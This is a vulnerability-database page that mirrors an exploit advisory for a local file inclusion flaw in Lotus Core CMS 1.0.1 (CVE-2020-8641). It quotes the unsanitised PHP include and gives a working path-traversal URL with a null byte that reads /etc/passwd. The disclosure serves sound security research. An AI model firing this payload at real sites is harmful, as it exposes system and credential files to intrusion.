Lucene search
+L

Lotus Core CMS 1.0.1 - Local File Inclusion (LFI)

🗓️ 31 Jan 2020 00:00:00Reported by Daniel MonzónType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 164 Views

Lotus Core CMS 1.0.1 Local File Inclusion on Windows 7 x8

Related
Code
ReporterTitlePublishedViews
Family
attackerkb
attackerkb
CVE-2020-8641
5 Feb 202021:15
–attackerkb
cve
CVE
CVE-2020-8641
5 Feb 202020:12
–cve
cvelist
Cvelist
CVE-2020-8641
5 Feb 202020:12
–cvelist
kittysploit
KittySploit
Lotus Core CMS 1.0.1 - Local File Inclusion Detection
28 Jul 202611:27
–kittysploit
nuclei
Nuclei
Lotus Core CMS 1.0.1 - Local File Inclusion
24 Nov 202602:03
–nuclei
nvd
NVD
CVE-2020-8641
5 Feb 202021:15
–nvd
osv_cve
osv_cve
CVE-2020-8641
5 Feb 202021:15
–osv_cve
prion
Prion
Directory traversal
5 Feb 202021:15
–prion
ptsecurity
Positive Technologies
PT-2020-20250
5 Feb 202000:00
–ptsecurity
rapid7
Rapid7 Vulnerability Database (full)
CVE-2020-8641: Improper Limitation of a Pathname to a Restricted Directory
5 Feb 202000:00
–rapid7
Rows per page
# Exploit Title: Lotus Core CMS 1.0.1 - Local File Inclusion
# Google Dork: N/A
# Date: 2020-01-31
# Exploit Author: Daniel Monzón (stark0de)
# Vendor Homepage: http://lotuscore.sourceforge.net/
# Software Link: https://sourceforge.net/projects/lotuscore/files/latest/download
# Version: 1.0.1
# Tested on: Windows 7 x86
# CVE : N/A


The vulnerability occurs on line 65 of the index.php file, first we can provide the page_slug parameter,
if it's not set by the user it is set to index, but if the user sets the parameter via a GET or POST request,
it checks if the file exists and if it exists, it performs an unsanitized inclusion.

-----------------------------------------------------------------------------

if(!$_REQUEST['page_slug']){
	$_REQUEST['page_slug'] = 'index';
}
if(file_exists('system/plugins/'.$_REQUEST['page_slug'].'.php') == true){
	include('system/plugins/'.$_REQUEST['page_slug'].'.php');
}else{
	include("system/plugins/error/404.php");
}

------------------------------------------------------------------------------


The PHP file appends .php to anything we provide as page_slug parameter so to include any file we must use a nullbyte.
Note that you need to be authenticated to exploit this. The explotation would be like this:

http://site:80/index.php?page_slug=../../../../../etc/passwd%00

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Nov 2026 00:00Current
5.3Medium risk
Vulners AI Score5.3
CVSS 26.5
CVSS 3.18.8
EPSS0.22665
164